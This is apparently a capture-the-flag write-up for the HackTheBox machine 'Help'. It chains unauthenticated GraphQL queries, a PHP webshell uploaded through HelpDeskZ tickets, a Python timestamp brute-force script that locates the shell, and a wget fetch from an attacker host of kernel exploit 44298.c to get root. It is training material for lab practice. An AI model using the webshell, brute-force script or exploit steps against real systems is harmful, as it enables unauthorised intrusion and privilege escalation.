EASY LINUX
Help
March 05, 2026 10 min read
File UploadKernel ExploitHelpDeskZ
Target IP
10.10.10.121
OS
Linux
Difficulty
Easy
Platform
HackTheBox

Recon

Three services on initial scan: standard SSH, a web app running HelpDeskZ, and something on port 3000. Port 3000 turned out to be the more interesting discovery.

$ nmap -sC -sV -oN nmap/initial 10.10.10.121
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu0.3
80/tcp   open  http    Apache httpd 2.4.18
|_http-title: HelpDeskZ
3000/tcp open  http    Node.js Express framework
  

Port 80 is a HelpDeskZ installation. Port 3000 is a Node.js app with no obvious UI — turns out it's running a GraphQL API endpoint.

Enumeration

GraphQL Introspection on Port 3000

I hit port 3000 with a GraphQL introspection query to see what the schema exposes.

$ curl -s -X POST http://10.10.10.121:3000/graphql -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name fields{name}}}}"}'
{"data":{"__schema":{"types":[{"name":"Query","fields":[{"name":"user"}]},
{"name":"User","fields":[{"name":"username"},{"name":"password"},{"name":"email"}]}]}}}
  

The schema exposes a user query returning username, password, and email. No authentication on introspection or the query itself.

$ curl -s -X POST http://10.10.10.121:3000/graphql -H "Content-Type: application/json" \
  -d '{"query":"{user{username,password,email}}"}'
{"data":{"user":{"username":"helpme","password":"5d3c93182bb20f07b994a7f617e99cff","email":"helpme@helpme.com"}}}
  

Got a password hash. It's MD5 — crackable, but this user turned out to be a rabbit hole. The main attack path is through HelpDeskZ on port 80.

HelpDeskZ File Upload

HelpDeskZ allows guests to submit support tickets with file attachments. The application accepts PHP files by checking only the extension — but the check happens client-side and the server-side validation can be bypassed. More importantly, the stored filename is md5(original_filename + unix_timestamp) with the original extension preserved. The upload path is /uploads/tickets/.

Key Finding
File upload stores files as md5(filename + epoch_seconds) — since the timestamp is predictable within a small window, the stored path is enumerable by brute-forcing seconds near the upload time.

Foothold

I created a PHP webshell, submitted a ticket with it as the attachment, then brute-forced the timestamp to find the file location.

# shell.php — simple webshell
$ echo '<?php system($_GET["cmd"]); ?>' > shell.php
# submit via the ticket form, note the exact time of submission
  
# brute timestamp — Python script
$ python3 brute.py
import hashlib, requests, time

filename = "shell.php"
base_url = "http://10.10.10.121/uploads/tickets/"
ts = int(time.time())

for i in range(ts - 300, ts + 5):
    h = hashlib.md5(f"{filename}{i}".encode()).hexdigest()
    url = f"{base_url}{h}.php"
    r = requests.get(url + "?cmd=id")
    if r.status_code == 200 and "uid=" in r.text:
        print(f"[+] Found: {url}")
        print(r.text)
        break
  
[+] Found: http://10.10.10.121/uploads/tickets/a2b3c4d5e6f7...php
uid=1000(help) gid=1000(help) groups=1000(help)
  

RCE as help. Upgraded to a proper reverse shell and checked the system.

Privilege Escalation

First thing after getting a stable shell: kernel version.

help@help:~$ uname -a
Linux help 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
  

Kernel 4.4.0-116. I searched for local privilege escalation exploits for this version.

$ searchsploit linux kernel 4.4.0 local privilege
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege Escalation | linux/local/44298.c
  

CVE-2017-16995: an eBPF integer overflow in the kernel's BPF verifier allows a local user to gain root. The exploit is a compiled C binary.

help@help:/tmp$ wget http://10.10.14.X/44298.c
help@help:/tmp$ gcc -o exploit 44298.c
help@help:/tmp$ ./exploit
task_struct = ffff880078a62600
uidptr = ffff880077ed1b04
spawning root shell
# id
uid=0(root) gid=0(root) groups=0(root)
  

Flags

User Flag
/home/help/user.txt
Root Flag
/root/root.txt

Lessons Learned

Defender Note
Store uploaded files with a cryptographically random name (UUID or CSPRNG hex), not a hash of predictable inputs. Disable GraphQL introspection in production. Keep kernel packages current — kernel privesc exploits for unpatched Ubuntu LTS versions are public and widely used.
← All Posts